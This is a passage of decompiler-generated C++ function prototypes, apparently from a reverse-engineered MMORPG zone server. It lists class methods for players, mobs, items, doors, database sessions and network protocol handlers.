ShineObjectClass::ShinePlayer::SocketStream::_SocketStream(ShineObjectClass::ShinePlayer::SocketStream *this); void __thiscall ShineObjectClass::ShinePlayer::__unnamed::___unnamed(void *this); void __thiscall ShineObjectClass::ShinePlayer::NPCProcess::NPCProcess(ShineObjectClass::ShinePlayer::NPCProcess *this); void __thiscall ShineObjectClass::ShinePlayer::NPCProcess::_NPCProcess(ShineObjectClass::ShinePlayer::NPCProcess *this); void __thiscall ShineObjectClass::ShinePlayer::AccountStorage::_AccountStorage(ShineObjectClass::ShinePlayer::AccountStorage *this); void __thiscall ShineObjectClass::ShinePlayer::MiniHouseStr::_MiniHouseStr(ShineObjectClass::ShinePlayer::MiniHouseStr *this); void __thiscall ShineObjectClass::ShinePlayer::BoothSell::_BoothSell(ShineObjectClass::ShinePlayer::BoothSell *this); void __thiscall ChargedItemEffectList::ChargedItem::_ChargedItem(ChargedItemEffectList::ChargedItem *this); void __thiscall ShineObjectClass::ShinePlayer::ChargedInven::_ChargedInven(ShineObjectClass::ShinePlayer::ChargedInven *this); int __thiscall ShineObjectClass::ShinePlayer::so_EqualSetitemIndexNameCount(void *this, const char *pkSetItemName); void __thiscall ShineObjectClass::ShineMiniHouse::MiniHouseInven::MiniHouseInven(ShineObjectClass::ShineMiniHouse::MiniHouseInven *this); void __thiscall ShineObjectClass::ShineMiniHouse::MiniHouseInven::_MiniHouseInven(ShineObjectClass::ShineMiniHouse::MiniHouseInven *this); // void __thiscall MobTacticElement::MobActionArgument::Actor::Actor(MobTacticElement::MobActionArgument::Actor *this); void __thiscall MobTacticElement::MobActionArgument::Actor::_Actor(MobTacticElement::MobActionArgument::Actor *this); void __thiscall MobTargetAggresiveNoLevel::_MobTargetAggresiveNoLevel(MobTargetAggresiveNoLevel *this); void *__thiscall MobTargetHasDisposition::_scalar_deleting_destructor_(MobTargetAggresiveNoLevel *this, unsigned int); void __thiscall ShineObjectClass::ShineAxialFlag::so_BroadcastLogout(ShineObjectClass::ShineAxialFlag *this); void __thiscall ShineObjectClass::ShineObject::so_Disconnect(void *this, int reason, int when, int signal2WMS); int __thiscall PROTO_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB::operator_(int this, int a2); int __cdecl ShineObjectClass::ShineObject::so_ply_KeepFromChat(int a1); int __cdecl ShineObjectClass::ShinePlayer::so_ply_KeepFromChat(int a1); void __thiscall ShineObjectClass::ShinePlayer::so_LogoutLog(void *this, char *flag); _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_DefaultCoord(); SHINE_COORD_TYPE *__thiscall ShineObjectClass::ShineAxialFlag::so_DefaultCoord(ShineObjectClass::ShineAxialFlag *this); int __thiscall ShineObjectClass::ShinePlayer::sp_SetRulesOfEngagement(int this, int pCurRule); void __thiscall ProtocolLogger::pl_Logging(ProtocolLogger *this); __int16 __thiscall ShineObjectClass::ShineMob::sm_GetNextSkillID(int this); __int16 __thiscall ShineObjectClass::ShineMob::sm_SetNextSkillID(int this, __int16 skillid); int __thiscall ShineObjectClass::ShinePlayer::so_GetChaoticPoint(int this); void __thiscall ShineObjectClass::ShineMob::smo_JustAttackedFlagSet(int this); int __thiscall ShineObjectClass::ShinePlayer::sp_MaxHP(void *this); char __thiscall ShineObjectClass::ShinePlayer::so_GetIsQuestRewardReq(int this); char __thiscall ShineObjectClass::ShinePlayer::so_SetIsQuestRewardReq(int this, char IsQuestRewardReq); void __thiscall ShineObjectClass::ShinePlayer::so_AccountStorageAnywhereOpen(int this); void __thiscall ShineObjectClass::ShinePlayer::so_AccountStorageAnywhereClose(int this); std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Max(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode); char __thiscall List::l_4AllInList(List *this, char (__thiscall *func)(#593 *this, List *, unsigned __int16)); #593 *__thiscall List::l_GetInArray(List *this, unsigned __int16 handle, char *inlist); void __thiscall List::_List(List *this); void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this); int __thiscall _vcall_(void *this); void __thiscall PacketContainer::pcb_SetSocketSession(ORField *this, ORColumnHeader *hd); char __thiscall PacketContainerBase::pcb_Flush(PacketContainerBase *this, ClientSession *session); char __thiscall PacketContainer::pcb_Flush(PacketContainer *this, ClientSession *session); void __thiscall VectorClass::UnitVector::UnitVector(VectorClass::UnitVector *this, SHINE_XY_TYPE *a, SHINE_XY_TYPE *b); char __thiscall SlantedCoordList::CoordedNode::cn_IsValid(SlantedCoordList::CoordedNode *this); void __thiscall PROTO_NC_CHAR_WEDDINGDATA_ACK::PROTO_NC_CHAR_WEDDINGDATA_ACK(PROTO_NC_CHAR_WEDDINGDATA_ACK *this); int __stdcall ShineObjectClass::ShineObject::so_DamageLog(int spot, int hpchangeorder, int damage, int resthp); void __thiscall ShineObjectClass::ShineObject::so_FirstActionAfterSocketConnect(void *this); void __thiscall ShineObjectClass::ShineMobileObject::so_FirstActionAfterSocketConnect(void *this); void __thiscall ShineObjectClass::ShineObject::so_Logout(void *this); char __thiscall ShineObjectClass::ShineObject::so_AllInMap(void *this, int axialfunc, int a3, int a4, int a5, int tome); char __thiscall ShineObjectClass::ShineObject::so_AllInMap(void *this, int ala, int tome); char __thiscall ShineObjectClass::ShineObject::so_AllOfRange(void *this, int event, int center, char *range, int fansector, int axialfunc, int a7, int a8, int a9, int tome, int excepter); char __thiscall ShineObjectClass::ShineObject::so_AllOfRange(void *this, int event, int center, char *range, int fansector, int ala, int tome, int excepter); char __thiscall ShineObjectClass::ShineObject::so_AllInMapNomal(void *this, int (__thiscall *axialfunc)(_DWORD, _DWORD, _DWORD), int a3, int a4, int a5, char tome); char __thiscall ShineObjectClass::ShineObject::so_AllInMapNomal(void *this, int ala, char tome); char __thiscall ShineObjectClass::ShineObject::so_AllOfRangeNomal(void *this, int event, int center, int range, int fansector, int ala, char tome, __int16 excepter); char __thiscall ShineObjectClass::ShineObject::so_AllOfRangeNomal(void *this, int event, int center, int range, int fansector, int (__thiscall *axialfunc)(_DWORD, _DWORD, _DWORD), int a7, int a8, int a9, char tome, __int16 excepter); signed __int16 __thiscall ShineObjectClass::ShineObject::so_mapindex(void *this); void __thiscall MobTargetPlayerCaptivate::_MobTargetPlayerCaptivate(MobTargetPlayerCaptivate *this); void *__thiscall MobTargetPlayerCaptivate::_vector_deleting_destructor_(MobTargetPlayerCaptivate *this, unsigned int); void __thiscall ShineObjectClass::ShinePlayer::so_briefequipset(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_BriefEquipSetRiding(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_BriefEquipSetBackup(void *this); void *__thiscall ShineObjectClass::ShinePlayer::sp_ServerMenuTitle(void *this, const char *title); void *__thiscall ShineObjectClass::ShinePlayer::sp_ServerMenuItem(void *this, void (__thiscall *func)(ServerMenuFuncter *, #734 *, ServerMenuArgument *), const char *str, ServerMenuArgument *arg, CharModeClassifier allowMode); void *__thiscall ShineObjectClass::ShinePlayer::sp_ServerMenuOpen(void *this, char priority, __int16 npcHandle, int npcPosition, __int16 limitRange); void __thiscall ShineObjectClass::ShinePlayer::sp_DummyFunction(void *this, int netcmd, int len, __int16 handle); void __thiscall MobTacticElement::MobActionArgument::Selector::Selector(MobTacticElement::MobActionArgument::Selector *this); void __thiscall MobTacticElement::MobActionArgument::Selector::_Selector(MobTacticElement::MobActionArgument::Selector *this); void __thiscall ShineObjectClass::ShinePlayer::so_SendProtocol(void *this, __int16 depart, __int16 command); void __thiscall ShineObjectClass::ShinePlayer::so_SendErrorCode(void *this, __int16 depart, __int16 command, __int16 err); void __thiscall ShineObjectClass::ShinePlayer::so_allparametercalculate(void *this); void __thiscall ShineObjectClass::ShineObject::so_BroadcastLogout(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_Disconnect(void *this, int reason, int when, int signal2WMS); int __thiscall ShineObjectClass::ShinePlayer::so_EncSeedSet(void *this); void __thiscall ShineObjectEachList::_ShineObjectEachList(ShineObjectEachList *this); char __thiscall ShineObjectEachList::soel_Routine(ShineObjectEachList *this, List *lst, unsigned __int16 handle); void __thiscall ShineObjectManager::_ShineObjectManager(ShineObjectManager *this); #593 *__thiscall ShineObjectManager::som_GetObjectAbsolute(ShineObjectManager *this, unsigned __int16 handle); #593 *__thiscall ShineObjectManager::som_GetObject(ShineObjectManager *this, unsigned __int16 handle); #593 *__thiscall ShineObjectManager::som_AllocObject(ShineObjectManager *this, unsigned __int16 *hnd, unsigned __int16 type); char __thiscall ShineCharRegnumFinder::lid_Call(ShineCharRegnumFinder *this, #593 *, unsigned __int16); char __thiscall ShineCharIDFinder::lid_Call(ShineCharIDFinder *this, #593 *, unsigned __int16); char __thiscall ShineMobIDFinder::lid_Call(ShineMobIDFinder *this, #593 *, unsigned __int16); #593 *__thiscall ShineObjectManager::som_FindPlayer(ShineObjectManager *this, unsigned int chrregnum); #593 *__thiscall ShineObjectManager::som_FindPlayer(ShineObjectManager *this, Name4 *chrid); #593 *__thiscall ShineObjectManager::som_FindNPC(ShineObjectManager *this, Name4 *chrid); #593 *__thiscall ShineObjectManager::som_FindNPC(ShineObjectManager *this, unsigned __int16 mobid); void __thiscall SlantedCoordList::CoordedNode::cn_Reset(SlantedCoordList::CoordedNode *this); char __thiscall ShineObjectClass::ShineDoor::so_door_DoorAction(ShineObjectClass::ShineDoor *this, char *blockfile, MapBlock::DoorAction da); void __thiscall ShineObjectClass::ShineBandit::so_bandit_ChangeType(ShineObjectClass::ShineBandit *this, char newtype); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_CLIENT_ZONE_DB(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB(void *this, int netcmd, int len, __int16 handle); void __thiscall WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_MISC_PINGTEST_CLIENT_ZONE_DB(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHARSAVE_DB_UI_STATE_SAVE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTCANCEL_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall WorldManagerSession::wms_NC_MISC_WHSHANDLEREPAIR_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_NC_MISC_WHSHANDLEREPAIR_CMD(void *this, int repair); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_SERVERPARAMETER_REQ(void *this, int netcmd, int len, __int16 handle); __int16 __thiscall ShineObjectClass::ShinePlayer::sp_LinkReservStore(int this, const void *lnkinf); int __thiscall ShineObjectClass::ShinePlayer::sp_LinkReservFind(int this, unsigned __int16 pointer); void __thiscall ShineObjectClass::ShinePlayer::sp_RegistNumberVarification(void *this); void __thiscall GameDBSession::gds_NC_CHAR_REGNUM_VARIFICATION_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); char __stdcall ShineObjectClass::ShineObject::so_ply_RegistNumberVarifyCheck(int varif_ack); char __thiscall ShineObjectClass::ShinePlayer::so_ply_RegistNumberVarifyCheck(void *this, int varif_ack); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_USER_USE_BEAUTY_SHOP_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::so_RefreshWMSSocket(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_TONORMALCOORD_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ToNormalLoc(void *this, int flag); void __thiscall ProtocolLogger::pl_Store(ProtocolLogger *this, NETCOMMAND *netcmd, SHINE_XY_TYPE *coord); void __thiscall ProtocolLogger::pl_Clear(ProtocolLogger *this); void __thiscall ShineObjectClass::ShinePlayer::sp_LastProtocol(void *this, NETCOMMAND *netcmd); void __thiscall ShineObjectClass::ShinePlayer::sp_ElderineRegionCheck(void *this); void __thiscall ListCheckStruct::lcs_Init(ListCheckStruct *this, ListCheckStruct *lcs); void __thiscall ShineObjectClass::ShinePlayer::sp_SendDisposition2WM(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SendDisposition2DB(void *this); char __cdecl GetMobDisposition(MobType mobType); char __thiscall ShineObjectClass::ShineMob::so_GetDisposition(int this); void __thiscall ShineObjectClass::ShinePlayer::so_IncreaseChaoticPoint(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_IncreaseKillPoint(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_IncreaseOnlyKillPoint(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_onKillChaosChar(void *this, unsigned __int8 chaoticLevel); void __thiscall ShineObjectClass::ShinePlayer::so_ClearChaoticPoint(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_BroadcastDispositionInfo_(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_Send2MyselfDispositionInfo_(void *this); void __stdcall ShineObjectClass::ShineObject::so_SetHP(int hp); void __thiscall ShineObjectClass::ShineMob::so_SetHP(void *this, int hp); char __thiscall ShineObjectClass::ShineObject::so_BroadcastEndOfTrade(#593 *this, #593 *, unsigned int); void __cdecl ShineObjectClass::ShineObject::so_mgcfld_FirstTickDelay(); void __thiscall ShineObjectClass::ShineMagicField::so_mgcfld_FirstTickDelay(ShineObjectClass::ShineMagicField *this); void __thiscall ShineObjectClass::ShinePlayer::so_SetAnimation(int this, const char *sAnimationIndex); void __thiscall ShineObjectClass::ShineMob::so_SetAnimation(int this, const char *sAnimationIndex); void __thiscall ShineObjectClass::ShinePlayer::so_ResetAnimation(int this); void __thiscall ShineObjectClass::ShineMob::so_ResetAnimation(int this); void __thiscall std::_Tree_std::allocator_0>>::_Lrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode); void __thiscall List::l_Clear(List *this); char __thiscall SlantedCoordList::CoordedNode::cn_RemoveList(SlantedCoordList::CoordedNode *this); void __thiscall ShineObjectClass::ShineObject::so_Unmark(void *this, int when, char logoutpacket, char SaveType); void __thiscall ShineObjectClass::ShineObject::so_LogoutPacketBroadcast(void *this); void __thiscall ShineObjectClass::ShineDropItem::so_LogoutPacketBroadcast(ShineObjectClass::ShineDropItem *this); char __thiscall ShineObjectClass::ShineObject::so_AllOfRange_Simple(int this, int ala, char *nRange); char __stdcall ShineObjectClass::ShineObject::so_AllOfRangeMiniHouse(int event, int center, int range, int fansector, int axialfunc, int a6, int a7, int a8, char tome, __int16 excepter); void __thiscall MobTacticElement::MobActionArgument::MobActionArgument(MobTacticElement::MobActionArgument *this); void __thiscall MobTacticElement::MobActionArgument::_MobActionArgument(MobTacticElement::MobActionArgument *this); void __thiscall ShineObjectClass::ShineObject::so_FreeFromList(int this); void __thiscall ShineObjectClass::ShineMob::so_FreeFromList(int this); void __thiscall ShineObjectClass::ShinePlayer::so_FreeFromList(void *this); void __thiscall ShineObjectClass::ShineObject::so_Reset_SlantedList(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_SetDisposition(void *this, char state, char forceBroadcast); void __thiscall ShineObjectClass::ShineMob::smo_Returning(void *this); char __thiscall List::l_PushA(List *this, ShineObjectEachList *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak int __thiscall ShineObjectEachList::operator_(int this, int a2); char __thiscall List::l_PushZ(List *this, ShineObjectEachList *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, ShineObjectEachList *ele); char __thiscall List::l_PopZ(List *this, ShineObjectEachList *ele); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall List::l_Clear(List *this); void __thiscall ShineObjectClass::ShinePlayer::so_FirstActionAfterSocketConnect(void *this); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::find(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, const unsigned int *_Keyval); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall ShineObjectClass::ShineObject::LuaAi::_LuaAi(GuildTournamentSystem::PortalInfo *this); // int __thiscall ShineObjectClass::ShineObject::_ShineObject(_DWORD); weak ShineRTTI *__cdecl ShineObjectClass::ShineObject::GetRTTI(); int __thiscall CGambleObject::GDTSO_GetGameStatus(ItemAttrCls_ByteLot *this); CharacterInventory *__cdecl ShineObjectClass::ShineObject::so_ItemInventory(); _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_TradeStructure(); AllOfRangeArgument *__cdecl ShineObjectClass::ShineObject::so_TradeBoard(); CharClassManager *__cdecl ShineObjectClass::ShineObject::so_CharacterClass(); SpyNet::EspionageAgent *__cdecl ShineObjectClass::ShineObject::so_SpyAgent(); AbnormalStateContainer::AbstateListInObject *__cdecl ShineObjectClass::ShineObject::so_mobile_AbstateList(); void __thiscall ShineObjectClass::ShineObject::so_ply_LoginIPSet(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); signed int __cdecl ShineObjectClass::ShineObject::so_ply_SilverWingCoolTime(); DiceTaiSai *__cdecl ShineObjectClass::ShineObject::so_PacketEncryptClass(); _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_extradata(); _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_CharName(); int (__stdcall ***__cdecl ShineObjectClass::ShineObject::so_GetDataSocketStream())(int); char __cdecl ShineObjectClass::ShineObject::so_ObjectType(); int __thiscall ShineObjectClass::ShineObject::so_mob_DataBoxforQuest(void *this, int a2); signed int __cdecl ShineObjectClass::ShineObject::so_mob_Race(); __int16 __cdecl ShineObjectClass::ShineObject::so_WalkSpeed(); int __cdecl ShineObjectClass::ShineObject::so_LoginLocation(); int __thiscall ItemAttributeClass::iac_SetDeteleDateTime(ItemAttributeClass *this, ItemTotalInformation *iti, unsigned __int16 nAddEndureTime, unsigned __int16 nMaxEndure, tm *dCurTime); signed __int16 __thiscall ShineObjectClass::ShineObject::so_RemakeHandle(void *this, unsigned __int16 handle); _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_Getabstatebit(); int __cdecl ShineObjectClass::ShineObject::so_drpitm_itemview(); void __cdecl ShineObjectClass::ShineObject::so_itempicked(); _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_parameter(); double __stdcall ShineObjectClass::ShineObject::so_AbnormalState_RestSec(int abstate); CCharacterTitleZone *__cdecl ShineObjectClass::ShineObject::so_GetCharacterTitle(); _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_GetStatDistStr(); InventoryLocking::InventoryCellLock *__cdecl ShineObjectClass::ShineObject::so_ply_GetInventoryLockList(); int __cdecl ShineObjectClass::ShineObject::so_mobile_GetIdxName(); struct ChargedEffectContainer *__cdecl ShineObjectClass::ShineObject::so_ply_ChargedEffectContainer(); signed __int16 __cdecl ShineObjectClass::ShineObject::so_mobile_GetHPChangeOrder(); ShineCommonParameter::FreeStatStr *__cdecl ShineObjectClass::ShineObject::so_ply_FreeStatStr(); ShineCommonParameter::FreeStatInt *__cdecl ShineObjectClass::ShineObject::so_ply_FreeStatInt(); ShineCommonParameter::FreeStatDex *__cdecl ShineObjectClass::ShineObject::so_ply_FreeStatDex(); ShineCommonParameter::FreeStatCon *__cdecl ShineObjectClass::ShineObject::so_ply_FreeStatCon(); ShineCommonParameter::FreeStatMen *__cdecl ShineObjectClass::ShineObject::so_ply_FreeStatMen(); _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_MiscTable(); signed __int16 __cdecl ShineObjectClass::ShineObject::so_getDetectRange(); __int64 __cdecl ShineObjectClass::ShineObject::so_ply_CurrentExp(); void __stdcall ShineObjectClass::ShineObject::so_npc_SetLocation(int MapName, int MapName_4, int MapName_8, int X, int Y, int Dir); char __cdecl ShineObjectClass::ShineObject::so_PacketBufferFlush(); void __thiscall ShineObjectClass::ShineDropItem::_ShineDropItem(ShineObjectClass::ShineDropItem *this); void __thiscall ShineObjectClass::ShineDropItem::so_FillBriefInformation(ShineObjectClass::ShineDropItem *this, void *array); PROTO_NC_CHAR_BASE_CMD::LoginLocation *__thiscall ShineObjectClass::ShineDropItem::so_LoginLocation(ShineObjectClass::ShineDropItem *this); unsigned __int16 __thiscall ShineObjectClass::ShineDropItem::so_RemakeHandle(ShineObjectClass::ShineDropItem *this, unsigned __int16 handle); ItemTotalInformation *__thiscall ShineObjectClass::ShineDropItem::so_drpitm_itemview(ShineObjectClass::ShineDropItem *this); void __thiscall ShineObjectClass::ShineDropItem::so_itempicked(ShineObjectClass::ShineDropItem *this); // void __thiscall ShineObjectClass::ShineEffectObject::_ShineEffectObject(ShineObjectClass::ShineEffectObject *this); char __thiscall ItemInventory::ib_GetInvenType(ItemInventory *this); PROTO_NC_CHAR_BASE_CMD::LoginLocation *__thiscall ShineObjectClass::ShineEffectObject::so_LoginLocation(ShineObjectClass::ShineEffectObject *this); unsigned __int16 __thiscall ShineObjectClass::ShineEffectObject::so_RemakeHandle(ShineObjectClass::ShineEffectObject *this, unsigned __int16 handle); void __thiscall ShineObjectClass::ShineEffectObject::so_FillBriefInformation(ShineObjectClass::ShineEffectObject *this, void *array); void *__thiscall PROTO_NC_BRIEFINFO_EFFECTBLAST_CMD::operator_(void *this, int a2); int __thiscall ShineObjectClass::ShineMobileObject::_ShineMobileObject(void *this); ShineRTTI *__cdecl ShineObjectClass::ShineMobileObject::GetRTTI(); unsigned int __thiscall ShineObjectClass::ShineMobileObject::so_SetLastBattle(int this); bool __thiscall ShineObjectClass::ShineMobileObject::so_isinbattle(int this); int __thiscall ShineObjectClass::ShineMobileObject::so_CharacterClass(int this); int __thiscall ShineObjectClass::ShineMobileObject::so_SpyAgent(void *this); char __thiscall ShineObjectClass::ShineMobileObject::smo_GetMode(int this); int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_AbstateList(void *this); bool __thiscall ShineObjectClass::ShineMobileObject::so_mobile_IsInMoving(int this); int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_Move2Where(void *this); bool __thiscall ShineObjectClass::ShineMobileObject::so_OverlapFactor(void *this); void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_SendMyMoveInfo(int this, int a2); _UNKNOWN *__cdecl ShineObjectClass::ShineMobileObject::so_Getabstatebit(); void __thiscall ShineObjectClass::ShineMobileObject::so_RecalcAbstateParamReady(int this); void __thiscall ShineObjectClass::ShineMobileObject::so_batobj_DamageApply(int this, int damage); int __thiscall ShineObjectClass::ShineMobileObject::so_batobj_GetDamage(int this); int __thiscall ShineObjectClass::ShineMobileObject::so_parameter(void *this); bool __thiscall ShineObjectClass::ShineMobileObject::smo_DuringCast(int this); __int16 __thiscall ShineObjectClass::ShineMobileObject::so_mobile_WhoIsKillMe(int this); __int16 __thiscall ShineObjectClass::ShineMobileObject::so_mobile_SetClicker(int this, __int16 clicker); void __thiscall ShineObjectClass::ShineMobileObject::so_YouHaveAlreadyDead(int this); bool __thiscall ShineObjectClass::ShineMobileObject::so_AmIAlreadyDead(void *this); int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_MoveState(int this); void __thiscall ShineObjectClass::ShineMobileObject::so_RecalcSpeed(int this, int newspeed); char __thiscall ShineObjectClass::ShineMobileObject::smo_SPCheckConsume(void *this, __int16 skill, int sklinf, int empow); bool __thiscall ShineObjectClass::ShineMobileObject::so_mobile_TargetModeCheck(void *this, int ts); char __thiscall ShineObjectClass::ShineMobileObject::so_mobile_DuringFlying(int this); __int16 __thiscall ShineObjectClass::ShineMobileObject::so_mobile_GetHPChangeOrder(int this); int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_DeadCheck(int this, int cause); char __thiscall ShineObjectClass::ShineMobileObject::smo_GetFlagDamageAbsorb(int this); char __thiscall ShineObjectClass::ShineMobileObject::smo_SetFlagDamageAbsorb(int this, char nFlag); void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_MoveReserve(int this, int goal, int speed, MoveManager::MMState state, int md); void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_MoveHalt(int this); double __thiscall ShineObjectClass::ShineMobileObject::so_AbnormalState_RestSec(int this, ABSTATEINDEX abstate); AbnormalStateContainer::AbstateElementInObject *__thiscall ShineObjectClass::ShineMobileObject::so_AbnormalState_IsSet(int this, ABSTATEINDEX abstate); void __thiscall ShineObjectClass::ShineDoor::_ShineDoor(ShineObjectClass::ShineDoor *this); ShineRTTI *__thiscall ShineObjectClass::ShineDoor::GetRTTI(ShineObjectClass::ShineDoor *this); void __thiscall ShineObjectClass::ShineDoor::so_SendMyBriefInfo(ShineObjectClass::ShineDoor *this, #593 *obj); PROTO_NC_CHAR_BASE_CMD::LoginLocation *__thiscall ShineObjectClass::ShineDoor::so_LoginLocation(ShineObjectClass::ShineDoor *this); unsigned __int16 __thiscall ShineObjectClass::ShineDoor::so_RemakeHandle(ShineObjectClass::ShineDoor *this, unsigned __int16 handle); char *__thiscall ShineObjectClass::ShineDoor::so_mobile_GetIdxName(ShineObjectClass::ShineDoor *this); void __thiscall ShineObjectClass::ShineDoor::so_FillBriefInformation(ShineObjectClass::ShineDoor *this, void *array); int __thiscall PROTO_NC_BRIEFINFO_BUILDDOOR_CMD::operator_(int this, int a2); // void __thiscall ShineObjectClass::ShineMagicField::_ShineMagicField(ShineObjectClass::ShineMagicField *this); ShineRTTI *__thiscall ShineObjectClass::ShineMagicField::GetRTTI(ShineObjectClass::ShineMagicField *this); void __thiscall ShineObjectClass::ShineDropItem::so_SendMyBriefInfo(ShineObjectClass::ShineMagicField *this, #593 *obj); unsigned __int16 __thiscall ShineObjectClass::ShineMagicField::so_RemakeHandle(ShineObjectClass::ShineMagicField *this, unsigned __int16 handle); // void __thiscall ShineObjectClass::ShineMiniHouse::_ShineMiniHouse(ShineObjectClass::ShineMiniHouse *this); ShineRTTI *__thiscall ShineObjectClass::ShineMiniHouse::GetRTTI(ShineObjectClass::ShineMiniHouse *this); void __thiscall ShineObjectClass::ShineMiniHouse::so_SendMyBriefInfo(ShineObjectClass::ShineMiniHouse *this, #593 *obj); PROTO_NC_CHAR_BASE_CMD::LoginLocation *__thiscall ShineObjectClass::ShineMiniHouse::so_LoginLocation(ShineObjectClass::ShineMiniHouse *this); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_RemakeHandle(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 handle); void __thiscall ShineObjectClass::ShineMiniHouse::so_FillBriefInformation(ShineObjectClass::ShineMiniHouse *this, void *array); int __thiscall PROTO_NC_BRIEFINFO_MINIHOUSEBUILD_CMD::operator_(int this, int a2); void *__thiscall ShineObjectClass::ShineDropItem::_vector_deleting_destructor_(ShineObjectClass::ShineDropItem *this, unsigned int); void *__thiscall ShineObjectClass::ShineEffectObject::_vector_deleting_destructor_(ShineObjectClass::ShineEffectObject *this, unsigned int); void *__thiscall ShineObjectClass::ShineDoor::_vector_deleting_destructor_(ShineObjectClass::ShineDoor *this, unsigned int); void *__thiscall ShineObjectClass::ShineMagicField::_vector_deleting_destructor_(ShineObjectClass::ShineMagicField *this, unsigned int); void *__thiscall ShineObjectClass::ShineMiniHouse::_vector_deleting_destructor_(ShineObjectClass::ShineMiniHouse *this, unsigned int); void __thiscall std::vector>::_Tidy(std::vector > *this); int __thiscall ShineObjectClass::ShineObject::ShineObject(int this); void __thiscall ShineObjectClass::ShineAxialFlag::_ShineAxialFlag(ShineObjectClass::ShineAxialFlag *this); void __thiscall ShineObjectClass::ShineAxialFlag::so_SlantedFlag(ShineObjectClass::ShineAxialFlag *this, unsigned int x, unsigned int y, #1265 *fld, #593 *allofrange_this); #593 *__thiscall ShineObjectClass::ShineAxialFlag::so_AllOfRange_Getthis(ShineObjectClass::ShineAxialFlag *this); void __thiscall ShineObjectClass::ShineAxialFlag::so_safm_SetCinema(ShineObjectClass::ShineAxialFlag *this, Movie::CinemaComplex *cine); unsigned __int16 __thiscall ShineObjectClass::ShineAxialFlag::so_RemakeHandle(ShineObjectClass::ShineAxialFlag *this, unsigned __int16 handle); void __thiscall ShineObjectClass::ShineDropItem::ShineDropItem(ShineObjectClass::ShineDropItem *this); void __thiscall ShineObjectClass::ShineEffectObject::ShineEffectObject(ShineObjectClass::ShineEffectObject *this); // int ShineObjectClass::ShineMobileObject::ShineMobileObject(void); weak void *__thiscall ShineObjectClass::ShineMobileObject::_scalar_deleting_destructor_(unsigned int); void __thiscall ShineObjectClass::ShineDoor::ShineDoor(ShineObjectClass::ShineDoor *this); void __thiscall ShineObjectClass::ShineMagicField::ShineMagicField(ShineObjectClass::ShineMagicField *this); void __thiscall ShineObjectClass::ShineMiniHouse::ShineMiniHouse(ShineObjectClass::ShineMiniHouse *this); int __thiscall ShineObjectClass::ShineMob::_ShineMob(int this); ShineRTTI *__cdecl ShineObjectClass::ShineMob::GetRTTI(); int __thiscall ShineObjectClass::ShineMob::so_mobile_BattleCamp(int this); int __thiscall ShineObjectClass::ShineMob::so_mob_RegenLocation(void *this); int __thiscall ShineObjectClass::ShineMob::so_mob_LastHittedLocation(void *this); int 